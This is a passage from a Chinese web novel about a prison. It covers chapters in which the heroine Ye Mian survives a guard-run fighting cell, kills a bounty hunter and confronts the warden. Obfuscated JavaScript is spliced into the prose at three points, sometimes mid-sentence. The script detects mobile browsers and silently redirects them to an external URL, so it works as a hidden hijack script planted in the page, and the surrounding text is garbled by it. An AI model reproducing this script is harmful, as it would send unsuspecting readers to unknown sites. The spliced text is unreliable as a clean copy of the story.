关键词重叠度太高了,叶眠嘴角下坠。 “我倒是觉得,光看9区重犯虐非9也没意思,”烟花语气淡淡,“还是势均力敌更有趣。” “哈哈哈哈,烟花姐懂!但老猪下台,太久没见到大出血啦,生死台一关,兄弟们憋坏了,最近终于摸清新狱长也是个放手掌柜的性子,头儿说把7001开起来玩玩。” 跟那三人错过,叶眠拽了拽烟花。 “七人间会死人吗?” “你说7001? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16224742|181697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大多数时候不会,”烟花说,“但如果太久没人出血,那些囚犯会揣测狱警的心情,故意下重手,弄些血腥给他们看。” 叶眠终于见到叶绵绵的房间,很朴素的单间,地上的血迹已经被处理干净,看不出一周前的惨案。 6区跟9区比,气氛更缓和一些。牢房没有独立钢板,甚至可以跨房聊天。她隔壁坐着一个老头,靠在墙边闭目养神,没见胖子的身影。 “今天太晚了,明天我送你回医院。”烟花看了眼她的通行条,说完就要离开。 “拉米亚纳今天回来了吗?”叶眠抓住隔间的金属栏杆,语速飞快地问那个老人。 “没回。”他眼都没睁。 叶眠立刻转向烟花:“麻烦您,我想去7001。” 烟花皱眉,第一次见人上赶着找死的。她看了眼叶眠头上的绷带,隐晦地劝了一句:“你都听到了,今天会很惨。” “胖子是我朋友,”叶眠咬牙,“等我出去给您报酬。” 烟花看她半晌,最终还是拿出对讲,问了一声,然后回头跟叶眠说,“他们说正好六缺一,但你确定要去?” 叶眠点头。 今晚她不去,胖子是死局。 “不懂,”烟花咕哝着,重新打开了她的房门,“你们这些囚犯之间竟然也有点真感情。” “抱团取暖罢了。”叶眠叹气。 她们搭了顺风班车回到9区。 登上电梯,烟花警告她:“9区的重犯基本都上过一轮生死台,他们下手很狠,虐杀那个站都站不稳的癌症晚期或者残疾人没有看头,你去了和那个胖子就会是他们的主要围剿目标。” “我懂,”叶眠点头,“禁制环不开是吧?” “又不是生死台,七人间只能算小消遣。”烟花按开电梯,两人走进9区13层。 “镣铐解开吗?”叶眠晃了晃手腕上的铁铐。 “当然不解。稍微特殊一点的多人牢房,又不是打黑赛。”烟花耐心耗尽,看到一个路过的狱警,顺手招呼,“7001的,你带一下。” “烟花姐!稀客稀客,”那人满脸堆笑,“今天头儿亲自来了,您要不一起坐坐?” 他伸手来拽叶眠,叶眠一躲,咳了两声假装是碰巧。 狱警没察觉,依然热情:“这个伤了脑袋的,不会就是那个278吧?烟花姐竟然能从医院把人抓过来,哎哟,我得加压一手。” 烟花一听黑兔子在,犹豫了一下:“你带路,我看两眼就走。” 她一手攥着叶眠手腕,狱警走在另一边。三人并排,叶眠旁听,逐渐摸清了C监“七人间7001”的规则。 ——完全是利用了监狱规章的灰色地带。 “一间牢房上限七人“、“未完成日常指标酌情禁闭”等明文规定,成了狱警们钻空子的掩护。他们采取胡萝卜加大棒策略,把“没说不行就是可行”用到了极致。 他们每期都往7001房放入9区危险囚犯,如果重犯用暴力讨好狱警,回单人间后就能获得优待。这是死囚们为数不多改善生活的途径,因此他们不遗余力地制造各种血腥效果。 如果非9区犯人试图团结反抗,“活动”结束后会受到惩罚,狱警借此传递出一个信号:只要有人牺牲,就能保全自己,所以弱者之间的博弈与背叛,每分每秒都在上演。 最后,开设赌局,压重犯是否能取得上风。赌注不大,但这群狱警很乐于在这种事情上争个胜负。 叶眠被推进7001的时候,烟花低声说:“希望你能活着出来。” 叶眠松了松手腕,和善地冲她一笑。 12. 第 12 章 “烟花?你怎么来了。”黑兔子好像有些惊喜。 但其实,从烟花进入13楼的那一刻,他就已经知道了——烟花要把278号送进7001。 为此,他刚发完一通火,毕竟是唯一得过法蒙特殊关照的犯人,如非必要,他并不想正面对上叶眠。 如果叶眠在场,一定能听出,这个黑兔子,就是她刚做完手术时,领着钢牙和老鼠抬走256尸体的那个“头儿”。 他长了张方脸,四十岁左右的年纪,看下半张脸一副老实的模样,但看眼睛却是满当当的算计,令人心生不适。 烟花从鼻子里嗤笑一声:“怎么,当了法蒙的狗腿子,他才允许你继续办你的小活动?” “比起萨利,法蒙确实是更好的狱长,”黑兔子不太赞同地说,“你为什么对他敌意那么大?” “给你放权就是好狱长,他怎么不让你接着办生死台,怎么不给你往上晋升,送你个副狱长之类的位子?” 在烟花看来,法蒙跟萨利都是一丘之貉,无非一个撒手放权、一个亲自上手。C监风气永无肃清之日。 黑兔子脸色一沉:“我无意谋权。” “是不想,还是不能?”烟花笑了。 谁都知道C监自治,最上面管理层的位置可都是香饽饽,只可惜,普通人出身的黑兔子,一时半会儿看不到上位的可能,只是衬着法蒙不管事的机会做两天土皇帝罢了。 自从在萨利手下拿到后勤部一把手的位置、不遗余力地按着萨利的想法做事,到现在,他已经完全被自己的所作所为同化。 烟花顺手从手边的烟盒里抽出一支,叼在嘴边。 旁边的狱警察言观色,立刻弯着腰给她点上——这位姑奶奶是外围保卫部的,不争权,但很能打,所以他们一般不会轻易招惹。 “下注吧,”她吸了一口,咬着烟嘴说,“给我压非9能活,五万。” 周围顿时哗然,黑兔子的表情也稍微一动:“压9,全杀,十万。” 烟花跟他对视一眼,读懂了他眼中莫名的胜券在握。 她有些奇怪:“完全不在乎死亡率了?” “不必担心,”黑兔子扶了扶鼻梁上的眼镜,笑了一下,意有所指,“新狱长是务实的性格。” 烟花移开目光,在心中默默地想:兔子,你真知道后果吗? 萨利为了控制死亡率,一个月只安排一次生死台。看看现在的7001,你是自信法蒙会睁一只眼闭一只眼,还是单纯膨胀过头了呢? 此时,7001里的叶眠正在打量这间特殊的牢房。 跟她预想中的铁笼单间不同,进门是类似客厅的空间。对面的墙上,两道紧闭的门连通着卧室,还有一道门是卫生间,门板上镶嵌着雾面玻璃,棕色油漆喷出一个“厕”字。 金属长椅,金属方桌,都被固定在地上无法移动。桌子上的餐盘外掉着点食物碎屑,灯光惨白,她没看到人。 叶眠抬头,在“客厅”四角发现了四台摄像机。 狱警就在监视器后面看戏。 客厅到洗手间门口有陈旧血迹,但不是三内天留下的。叶眠走过去,扭动把手,发现打不开。 她敲了敲门。 ——没有回声。 叶眠后退两步,打量着这道门,心里有了点想法。 她用指关节敲了敲玻璃外围,声音略有点闷,但似乎并不厚。 估摸着差不多能打碎,她将镣铐锁链缠在手上,直拳冲出! “你不要过……叶眠?”一声带着抖的暴喝,戛然而止。 胖子满脸伤痕,浅金色的发丝被血糊黏成一绺一绺的,眼周乌青肿起,把眼睛挤成了一条缝。他手里握着一根拖把杆,在看清来人后,长杆颓然落地,发出“咣当”一声。 “你怎么也……唉,完了。” 叶眠没料到他凄惨到这样,开始先愣了一下,然后心中就窜起一股无名火。 “谁打的?” 胖子迟疑:“什么?” 叶眠深呼吸,重新冷静下来。 根本没必要再问。 很显然,9区重犯还没到位,不然在她进门的那一刻,招呼过来的应该是9区犯人的拳头,而非安静祥和的空气,和一个只脸上挨了几拳的胖子。 把他打成这样的,只能是黑兔子,或者是在他授意下的狱警。 她撤出洗手间,推开卧室的门,瞥了一眼墙角的监控。 因为刚刚叶眠果断打破玻璃的行为,监控室里窃窃私语的声音越来越大。 黑兔子皱眉,问旁边的人:“9区的人,还没到吗?” “马上到,马上到,”被问话的狱警立刻回答,“五分钟内。” “今天选的都是以前喜欢虐杀的死刑犯,”他把头凑近,压低声音:“已经按您说的,给他们……” 黑兔子看了眼一无所觉的烟花:“行。” ——他不会输。 相反,好不容易在他的场子里对上烟花,他急切地想赢得漂亮,并且让她看清楚,C监是如何受他掌控,这些犯人是如何如同玩偶,为了讨他欢心、不择手段。 黑兔子把视线投向画面中的278号,压下了心中最后一丝不安。 叶眠自然不知道外面发生的事。 她在第一间卧室看到了那个瘸子,他的右腿从膝盖以上被整个截断,跟叶眠对上视线的时候,他嘴边还带着点食物残渣,满脸仓皇。 然后她又在第二间卧室看到了那个癌症晚期的病人,后者躺在床上一动不动,如果不是胸前还有轻微起伏,叶眠以为他死了。 两间卧室的布局都一样逼仄,各有两张上下床。显然这两个人深谙“鸡蛋不能放在同一个篮子里”的道理,但等重犯到位,结果大概并不会因此改变。 “叶眠,你不是应该在医院吗?”胖子跟在她后面,十分不解,“为什么会在7001?” 叶眠没吭声:救你,我亲爱的朋友。 “唉,”胖子看着她关上房门、回到客厅的举动,满脸死志,如丧考妣,“今天有三个9区重犯,你来也是送死。” “时间紧迫,我们得列个计划。”叶眠说。 计划? 胖子没懂,但他听懂了她的潜台词:还没完。 “怎么说?” “我能杀掉赏金杀手256,所以,身手还算不错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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叶眠一击不成,立刻更改策略。 对手身体强度比她高,但他膝盖剧痛、无法下蹲,所以最佳突破口,仍是下盘! 她身体伏低,几乎是贴地滑行,重新拉近后,伸腿横扫。 目标,脚踝! 好刁钻的攻势! 对手心中凛然,仓促抵挡,但他两手一翻,竟是抓住她脚踝,一扯! “抓到你了!”他眼神狠辣,开口时齿间银丝粘连,仿佛黏糊的蛛线。 叶眠被拽到悬空,两人视线相接。犯人话音刚落,心中警铃大作:她居然毫无波动,看他的眼神像在看死人。 明明落入劣势,为何面不改色? 叶眠胸腹大敞,仿佛无所顾忌。 犯人双目一瞪:机会! 不对! 双手刚被占用,他来不及改招攻击,是陷阱! 在发觉她意图的那一瞬间,他好像被烫到一样松开双手,但破绽转瞬即逝,慢一招、满盘皆输。 叶眠躯干发力、迅速蜷起身体,像蛇一样贴了上来。 ——她靠对方的攻击完成了拉近,甚至来得及调整发力姿势,而她挂着铁铐的手,从头到尾都是自由的。 重犯后仰,试图躲避,但叶眠铁镯之间的链子迅速放收,精准套中了青筋暴起的脖颈。 两人完全相贴,仿佛一个亲密的拥抱。 “谢谢配合。” 叶眠说完,两手交叉,勒紧! 13. 第 13 章 绞杀结束,第一个犯人的身躯重重砸到地上,发出一声沉闷的撞击声。叶眠起身,松了松被铁链勒出红痕的手。 监控室内,黑兔子稍微偏头,转向一旁。 刀子一样的眼神落到脸上,带来一种火辣辣的痛感。负责安排名单的狱警只能把头低得更狠:“他们三个……实力确实也有差距……” 黑兔子声音很稳,甚至带着点轻柔笑意:“那么,被胖子控制住的废物,还有被278几乎秒杀的垃圾,跟我们最后剩下的‘独苗’相比,实力相差多少呢?” 但狱警脸颊一滴冷汗,无声无息地滴到了桌子上。 “头儿,我保证,”他咽了口唾沫,“他绝对比前面两个强很多。” “我不在乎这十万块,”黑兔子伸手帮他理了理衣领,像个和善的领导,“但是,别让我在她面前丢脸。” 他五指骤然收紧,狱警连声答道:“是,是……” 7001内,胖子死死地压在中间的矮个犯人身上,效果出乎意料的好。 脸上冒汗,流到眼睛里、浸入伤口里,但他忘了疼,也完全没意识到矮个脸色发青,几乎是出气多进气少。他紧张到不停讲话:“没事儿,放松,没事儿,过会儿有你的机会,别急。” 门口站着的第三个人,旁观他们动手,毫无作为,直到现在。 “叶绵绵,”他清晰地喊出了这个名字,歪了歪头,语气好奇,“就是你,杀了刘毅吗?” “刘毅?谁?”叶眠警惕地问。 刚刚就是这个声音,说了一句C监比外面自由,所以其人秉性如何,可想而知。 “我是刘勇,赏金杀手排行第97,”他走近,直接无视了地上求救的矮个,满眼兴味,目标只有叶眠,“刘毅是我弟弟,或者你更熟悉他在C监的号码,256号。” 叶眠瞳孔微缩。 ——256,是他。 叶绵绵杀的最后一个人。 监控室里,黑兔子正在听狱警的解释:“……刘毅实力比他哥弱,刘勇身份暴露被抓入狱后,他冒用刘勇的名号,想赚钱捞人。一个多星期前,他主动把自己送进了C监,不清楚是接了谁的委托,结果就是翻了车……这事被刘勇知道了,他主动要求会会叶绵绵。” “赏金杀手前百,”黑兔子摩挲着下巴,微微一笑,“这才像话。” 哪怕那个278号技术再高,想必也打不了前百的专业杀手。 狱警也看着监控里的画面,稍微自信了一些。 他说:“刘勇在黑网当杀手干得束手束脚,但在C监的环境里,反而如鱼得水。他之前上过两次生死台,在7001也杀过几次人,278号对上他,绝对讨不着好。” 叶眠正跟刘勇对峙。 “是我杀的,”她干脆地说,暗中调整呼吸,“但是事出有因。” 到这里,她好像有点明白了为什么278号在狱警中有点声望——她杀了名义上的“刘勇”,而有部分人又清楚,真正的刘勇与她注定有一场复仇之战。 “有不有因,不归我管,”刘勇说着,终于放下了作态假面,杀意爆发,“我只要你,偿命!” 他也带着镣铐,但招数却大开大合,出拳如风,指节擦过了叶眠的太阳穴,带起了一道血线。 好快的速度! 叶眠后仰,避开连续攻击,看准一个气口,链条哗啦一响,她屈膝撞向刘勇腹部,对方用膝盖在半空截住。 骨肉相撞的闷响中,叶眠的镣铐链条绷直,和刘勇的铁链绞在一起,两人手臂肌肉因短暂角力而颤抖。 刘勇突然拧腕,铁链“咔”地卡进叶眠腕骨缝隙,鲜血立刻顺着银链滴落。 叶眠咬牙,刚准备放弃正面对抗,结果刘勇突然暴起,镣铐的一半竟从他左手手腕脱落——锁扣被做了手脚! 他竟然能自行打开手铐! 这可不是断网的医院,但监狱区警报也没有响动! 叶眠心中震动,但表面毫无异色。 她第一时间全力后撤拉开距离,还是没能完全躲掉,铁链如鞭,抽中叶眠手臂,一道深刻血痕出现。 她受镣铐局限,甚至无法用另一只手捂住伤口,只能踉跄后退几步,停在墙壁之前,如同陷入劣势的困兽。 刘勇甩着解脱的右手,五指不断弯曲伸直,仿佛在把玩匕首之类的短刀具,保持着他作为杀手的手指灵活性。而他的左手手腕还挂着那做戏的半副镣铐,一晃一晃,反射着银光。 “本来没想到这一步的,但黑兔子想看你死在这,最好惨一点……”他舔了舔嘴唇,露出一个兴奋又狰狞的笑容,“而且,我也不想看到你再活那么久了。” 他甩着金属链冲来。 那不再是困锁他的镣铐,而是不会脱手、无法被抢夺的武器。在这个金属器具都受固定的房间里,这半副金属手铐,无疑是最大的杀器。 监控室里的人目睹了一切。 所有人都知道,这是违规的。 哪怕C监自治,最基本的监狱规章也不是能这样打破的。 手铐打开了,但警报并没有启动,烟花豁然起身,眼神没有离开监视器。 也有其他人大着胆子偷瞄黑兔子的神色,而那张脸仿佛焊上了平静的面具,不肯露出任何马脚。 “如果这件事捅到法蒙那里,兔子,他是个军人,你明白吗?”烟花在看到监视器中两人拉开距离后,把脸侧向了黑兔子,“你现在拥有的一切特权都会化为乌有,甚至更严重一点,你会被告上审判庭,死刑执行。” 黑兔子突然笑了:“你在心疼我吗,烟花?” 他也起身,站到了烟花的身边,保持着近乎耳语的亲密距离,把几个带着余温字眼送到她心头:“离婚这么久,你还会担心我吗?” 有那么一瞬间,烟花以为自己听错了。 ——毕竟这世界上,鲜少见到如此厚颜无耻之人、没有d数之人。 “……我以为你会有些长进,”她放弃了跟他争辩的想法,“不要活在自己的世界里了,睁开眼睛看看吧,什么是现实、什么是正确。” 黑兔子不慌不忙地扫过监控室大家的脸色,甚至有些自得地说:“这就是现实啊,我创造的现实。” “那她呢?”烟花指了指监控屏幕,“这也是你选择的现实吗?” 画面内,叶眠双手短暂拢住了刘勇的脖子。后者一脸不可置信,但颈侧血液不断涌出,染红了叶眠的手指和袖子,也染红了他的衣领。 黑兔子得意的表情凝固在上一秒钟,滑稽得像是被人按下了暂停键。 “不……不……” 他终于行动了,三两步冲到显示屏前,抓住屏幕边缘,手指因发力而泛白。 他的震惊不亚于被叶眠抹了脖子的刘勇,甚至更有过之。 “这怎么可能!” 其实,监控室里有好几个人看清了叶眠的动作,但没人知道,她到底是什么时候拿到了玻璃碎片,怎样把玻璃碎片藏在身边,又是如何决定把自己脆弱的脖颈送入对方手中,在窒息休克的边缘,一击反杀! 时间拨回到一分钟前。 叶眠看 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她脑袋上的刀口久违地开始疼痛,那是因为血压,泵起的血液涌上头顶,眼前阵阵发黑。 “他给你留了一句话……”叶眠用混着嘶声的气音说。 明知这是她最后的挣扎,但刘勇的自信让他认为局势已经完全在自己的掌控之中。对手脆弱的脖子被自己锁住,只要再用力一些就能折断。 他语气闲适,仿佛戏弄:“说。” 两人之间的距离拉近了五公分。 叶眠垂在身前的手突然上甩,划出一道弧线。 在刘勇的视角中,这段距离不够叶眠用出绞杀,他很安全,所以他躲避的幅度有限。同时,他手中发力,只要几秒,他就能掐死这个杀了他弟弟的仇人。 然而,事情发展跟他想得并不相同。 疼痛传来,这不是人类指甲能制造出的效果,而是真正的利器割破了他的脖子。 血液喷溅,带走了他的力气,也拖垮了他的意志。刘勇失控地松开了对叶眠的桎梏,他一手捂住脖子,脸色从讶然转到惊惧,终于,在低头看清一手血红的瞬间,他目眦欲裂! 是什么?! 在这间牢房里,为什么会有能轻松划破皮肉的武器! 他猛然抬头,虽然双腿已经几乎撑不住身体,但他表情可怖,死死盯住叶眠。 叶眠捂着脖子,猛烈地咳嗽了一阵。出于谨慎,她跟刘勇拉开了距离,并且利用走步,巧妙地跟他、胖子站成了一个三角形。 “既然你作弊了,怎么不允许我开挂。”她稍微哑着嗓子说。 是什么?! 叶眠看得出他的执着,无奈地摇摇头,伸手,亮出一块被浸成红色的玻璃残片。 刘勇如遭重击,他猛地看向洗手间门口,那一地碎玻璃,反射着惨白的灯光。 在监狱里呆了太久,原本磨练到敏锐的战斗直觉悄然退化,他终于意识到——自己懈怠了。 力气逐渐流逝,他撑不住了,下一秒,这位昔日榜单前百的杀手跪倒在地。 叶眠若有所思:“说真的,谁会来暗杀我呢?不过,谢谢你的提醒,我以后会多关注一下黑网上的信息的。” 她脚步轻快地走到已经几乎失去意识的刘勇身边,稍微抹了抹三角形碎片上的血,利落而无情地补刀,彻底结束了他的生命。 “你别说,还真巧了,叶绵绵杀的最后一个人是你弟弟,而我开刀的第一个人,是你。” 14. 第 14 章 在胖子震撼又钦佩的眼神中,叶眠单手扶墙,弱不禁风地咳了两声。 “喂!” “好了好了,”叶眠笑了,“你单挑赢了,他昏过去了,不需要我了。” 胖子低头一看,果然那人没了动静,双眼紧闭。 他挠了挠头,从地上爬起来,似乎还没从劫后余生的惊险情绪中脱离:“这就完了?” “嗯,结束了,”叶眠抬头看了看监视器,“会有人守护剩下的程序正义的。” - 监控室内,从刘勇跪倒的那一瞬间开始,原本紧张的气氛就变为了死寂。 烟花指尖无意识摸过枪套:“那么,没问题的话,我就去接人离开了?” 按照监狱的明文规则,同室斗殴产生恶劣伤害,应暂停禁闭,优先送医,保卫部合法介入,任何人无权干涉。 黑兔子的眼睛里疯狂之色闪过:“你会告发我吗?” 烟花摇头:“我怎样,不重要,重要的是只要有一个人把事情捅上去,典狱长就不能轻拿轻放。” 黑兔子能把这个娱乐项目发扬光大,主要因为暗合狱警们心意,所以他们乐得捧他臭脚。而现在,明确的严重违规摆在眼前,再加上滥刑、虐待、越权……足够把他拉下高座。 谁不想当下一个“头儿”? 黑兔子慢慢扫视在场诸人,他们心思各异,体现在脸上也是相当五彩斑斓。 “你能堵得住所有人的嘴吗?”烟花没有继续说下去。 “如果我能呢?”黑兔子阴沉地笑了笑,若有所指地看向烟花。 “7001的受害者,受我保护。”烟花也沉下脸,她不再犹豫,转身离开了监控室。 黑兔子碌碌追求半生,被权力金钱蒙蔽了双眼,不自觉走上歪路,业果已成,仍然执迷不悟。 她想:明明一开始的那个人,眼神清澈、心怀正义,怎么落到这一步的呢? 走到空无一人的7001门口,她在电子锁中输入密钥,牢房大门打开。 叶眠有些虚弱地靠在墙壁上,闻声抬头:“黑兔子怎么样?” “一眼看得到头了。” 说的是他的仕途,也是他的生命。 烟花想了想,又补充:“万一他回心转意自首,把责任往萨利身上推,可能会被判死缓。” “那不好,”叶眠立刻说,“我看还是得死立执,你觉得呢?” 烟花默了默,不知道是她过于敏锐,还是歪打正着。 “无论结果,都是他应得的。”她说。 叶眠招呼胖子:“走吧,我们回医院。烟花姐会把我们送回去。” 烟花看了一眼时间,还有两个小时天才亮,但是话都到这了,她也没说别的。 三人一路无言,过了检查站。 烟花把通行条叠起,说:“剩下的,我就不跟你们一道了。” “烟花姐,多谢,”叶眠认真地说,“黑兔子的下场只会也只能是死刑。” 叶眠不会在C监里呆很久,所以她要杀鸡儆猴,不留一点机会。 黑兔子一时不死,就会有下一个心存侥幸的红兔子、蓝兔子出现。私人恩怨放在一边,这是原则和纪律问题,不容模糊。 她准备找法蒙告状,把作壁上观的典狱长撕下来,踏实地为C监做点事。 “不知道你怎么猜到的我们关系匪浅,也不知道是什么给了你‘我对他余情未了’的错觉,”烟花整理了一下衣领,又摆正了腰间的枪口,心平气和地说,“我一向对事不对人,但兔子,他确实烂到根了。” 叶眠跟胖子穿过那段高墙下的水泥路,她身上披着探照灯的光亮,仿佛加冕的长袍。 烟花站在原地,看着她俩一胖一瘦的背影,从口袋里掏出烟,在天亮前的冷风里,就着颤颤巍巍的火,点上。 烟头一点红光驱散了一小片黎明前的薄雾,她沉默地抽完一支烟,转身回了检查站。 - “……扶我一下。”叶眠伸手。 胖子一愣,但还是照做。 “我好晕,”叶眠喃喃地说,“头痛。” 打架打得太爽,忘记自己还是个伤员了。 胖子:“去急诊吗?” “回病房就行,我等早上护士来,”叶眠有点累,“好想睡觉。” 胖子絮絮叨叨:“叶眠你不要有事啊。” 叶眠躺到床上:“不至于,我睡了。” 只能说,今晚有惊无险,好在一切顺利。 - 【叶眠术后第八天】 叶眠睁眼,就看到了护士熟悉的表情——三分谴责,三分担忧,四分恨铁不成钢。 “要去拿东西?嗯?拿了什么回来?”护士嘴不留情,“拿了个被揍成猪头的朋友回来。” 叶眠一动,就发现自己的头上似乎上了外支撑架。她小心翼翼地伸手摸了摸,眼睛瞪大:“我怎么顶着一个铁架子?” “塑形器被提前吸收完了,只能用外框架支撑一下了,”护士无情地说,“昨晚又打架了?这次杀了谁?” 叶眠想起这个,竟然还有点眉飞色舞:“赏金杀手榜第97,知道吗?单杀欸。” 另外两个生死不知的就随便了,生死有命富贵在天。 “那你还挺厉害,”护士“哼”了一声,“老实躺着,不许出病房。” 叶眠眨眨眼:“姐,我想联系个人,借我终端用下?” “谁?” “典狱长。突然想起来,我有他的间接联系方式。” 叶眠成功联系上了沈舒云,并且拜托她代为转达:C监278号约他病房一见,括号,因为他的管理不当所以重伤版,后括号。 叶眠不知道,这句话得先从沈舒云转达给沈舒白,然后才能到法蒙手里。 沈舒白有点不可思议:“她竟然通过我姐联系我?她不是同意当你的卧底了吗?” 法蒙:“特制终端还在赶工。” 沈舒白:“那你给她个普通的先用着不行吗?作为你的下属,联系你还要借用别人的终端,再过两张嘴,才能传到圣听。” “她是囚犯。”法蒙淡淡地说。 他人已经在去C监的路上。 “……得了便宜还卖乖,”沈舒白说,“我们都知道,她杀的是谁。” 这些小插曲叶眠自然不知,她只知道,第三次见到法蒙是在自己的闺房。 写作闺,读作病。 “老大,你知道你手下在虐待犯人吗?”她窝在被子里,头上顶着一个铁架子,连动都不能动。 法蒙皱眉:“怎么把自己搞成这样了?” 上次见面还是活蹦乱跳的。 “你还没回答我,”叶眠很执着,“所以,你知道吗?” “知道一些。”法蒙没有说谎。 “那你知道,他把人放进多人牢房,看他们厮杀、搏斗,让狱警们下注供他们取乐吗?” 法蒙不否认自己知情,他只是束手旁观:“做错事的人需要惩罚,但没你说的那么严重。” 黑兔子办事还算有数,C监旧秩序持续这么多年一直稳定,只要事不闹大,法蒙不认为需要他亲自下场。 “哪怕是一方摘掉镣铐的虐杀,涉及私人恩怨也算是‘需要惩罚’?”叶眠冷笑,“所谓‘没那么严重’,就是我亲历一遍,然后被你轻飘飘一句带过?” “金属镣铐内置报警程序,直接联系到典狱长个人终端,”法蒙断然否认,他自然有他的依据,“不可能有人摘了镣铐而我一无所知。” “手底下都翻天了还在感觉良好,长官,C监手铐报警只靠联网,狱警装个信号屏蔽器,就能随便糊弄你了。” 法蒙稍稍变色,叶眠毫不客气地说:“查查7001的监控吧,查查监控室的监控吧,如果黑兔子足够谨慎,昨晚的很可能已经被人为覆盖掉了。” “你怎么知道是联网?”法蒙眉梢微紧。 “不知道我怎么知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“黑兔子,我要看到他的结局。另外,我需要终端。” “本来去监狱区是为了找你要终端,谁知道闹出这些岔子。你让一个白板直接上手情报工作?”叶眠终于说到她最初的目的,语气中带了些抱怨,也算是某种意义上的示弱。 毕竟要是不给法蒙个台阶下,万一真把他惹怒了也不好收场。 法蒙对于这一通教育和指责,出乎意料地没有反驳。 他眉头紧锁,仿佛心里进行什么长久的天人交战,最终,妥协了。 法蒙稍微搓了把脸,调整了一下表情:“是我考虑不周。” 叶眠谨慎观察着他的反应。 她没想到,法蒙只是听进去了。 作为年轻的天才中将,赞美听得太多了,已经很久没有人指着他鼻子骂他功利、没担当,更没人说过他尸位素餐、对于近处的不公袖手旁观。 父母去世后,大概只有家族里的老东西会骂他,但他们上下牙一磕就是德里克的兴亡;政治场里听不到有人公然反对他的意见;下属沉默做事从不置喙他的选择,而叶眠说的这些,不带主观上的企图、不带任何额外的尊重或谄媚,只是就事论事的交流。 所以他看着叶眠全心投入的表情,终于反思了一回,然后发现——正如她所说,是他的放任,催化了C监本就隐隐失控的混乱,间接导致重犯死亡、无辜者受伤。 虽然他仍然对这个“典狱长”身份没什么认同感,但叶眠说得没错:在其位、谋其政。 法蒙心中甚至涌现出一丝赞赏:叶绵绵,聪明、灵活、大胆,只要足够忠诚,很适合作为下属。 叶眠只觉得这人有点怪怪的。如果能听到这些心理活动,她恐怕会大笑出声。 很抽象,朋友。 不爱听好话,被骂两句就爽了。 原来典狱长的岔劈不是那个艾斯而是爱慕? 15. 第 15 章 法蒙态度的软化,叶眠是能感受到的。虽然不明白为什么,但她乐见其成。 法蒙没再藏着掖着:“作为线人的特殊终端,明天就能送到这里,里面会有你需要的资料。” “能联系到你吗?”叶眠刻意地仰脸问。 她眼睛眨了两下,面对着那点明晃晃的期盼之色,法蒙迟疑了。 那一瞬间,他确实站在同意的边缘。 毕竟叶眠的无害摆在眼前,刚刚的对话又似乎展露了她的忠心,他不由生出点爱才之心,还有点说不清道不明的心软。 但最后还是惯常的理智占据了绝对上风,他说:“你会跟我的心腹下级交接。” 叶眠不意外,只是感觉有点可惜。 她摸了摸自己脖子上的禁制环,这件东西会是她离开C监后的最大桎梏,通向自由的拦路虎。 她暗戳戳地想:看法蒙这个严防紧守的态度,拉近关系太难,硬碰硬又太不自量力,恐怕一时半会儿还真是做不掉他。 但这个小动作落到法蒙眼里,却品出点别的意思。 那副稍显落寞的神情,戳中了铁石心肠的中将。他在这一秒内,再次感受到了一丝轻微的动摇。 法蒙语气和缓:“如果你做得好,过几年我可以取消你的禁制环,提拔你……” “算了,”叶眠只觉得这人当领导忒不好伺候,她有话直说,“几年,太久了。” ——所以她会提前解决掉这个问题。 然而,在法蒙的视角里,谁会拒绝他的招揽?无非是她心口不一的抱怨。 他宽宏地想:刘仁花了十年才成为我的心腹,你嫌几年太久,可要加倍努力。 “黑兔子的处理这两天就能下来,到时候我会通知你,”法蒙起身,把外套搭在臂弯,“他会获得应得的惩罚。” 叶眠两个目的达成,心情也不错:“行,您慢走哈。” 法蒙稍微皱眉,就这? 没有感谢也没有其他表示? 两人对视。 叶眠:男人心思好难猜。 但不得不说,她确实摸着点他的脾气了,索性直接开口问:“还有什么需要我做的吗?” 法蒙目光沉沉地看了她几秒,又像是突然清醒了一样,什么话都没说,转身就走。摔门的声音透出一点匆忙和狼狈,留叶眠一个人在后面迷惑不解。 他咋了? * 【叶眠术后第九天】 因为头上的铁架子,叶眠收到的命令是卧床三天整,连饭都是护士给她捎过来的。 “我不理解。拆完钢筋第二天我就能下床,但现在只是加固,我动都不能动。”叶眠抱怨说,勺子在咸甜的稀粥里搅来搅去,糜烂的圆形米粒在浑浊的液体中浮沉。 “生长因子跟普通外框架能一样吗?”护士看出她根本不饿,于是不客气地收走了饭碗,“何况其实之前你也应该卧床休息,是你自己乱跑的。” 叶眠长叹一声:“闲不住啊。” “你终端不是到了吗?”护士说。 “我的列表都不理我,”叶眠悲伤地说,“如果胖子也有终端就好了,他一定会秒回我的。” “拉米亚纳,实心眼孩子。”护士评价。 叶眠的全新特制终端里,现在只有两个名字,一个是法蒙说的“心腹下属”,刘仁,另一个则刚刚被备注了“同事”。 刘仁似乎很忙,只有最开始说了两句,叶眠这才知道,另一位也是反抗军里的线人,她的“前辈”。 “你需要的资料问他就行,文件传输怕被有心人留下备份,所以你们的聊天记录要及时删掉。同为卧底,不要问对方身份。”刘仁放下这几句,人就消失了。 出于对法蒙手下牛马亲信的尊重,叶眠转而开始骚扰这位素昧谋面的同事。 遇到困难睡大觉:“你好,请问你是gg还是mm?” 叶眠发完才察觉,这句话有点像古早网聊搭讪,但——害,发都发了。 她手速飞快,脑袋不能动,不影响十指翻飞,甚至把键盘敲出残影。 遇到困难睡大觉:“以后咱们就是同事了,卧底是高危职业,初来乍到劳烦你多多关照了哈。” 遇到困难睡大觉:“老师在哪个部门高就啊?咱们组织好混吗?反抗军伙食怎么样啊?” 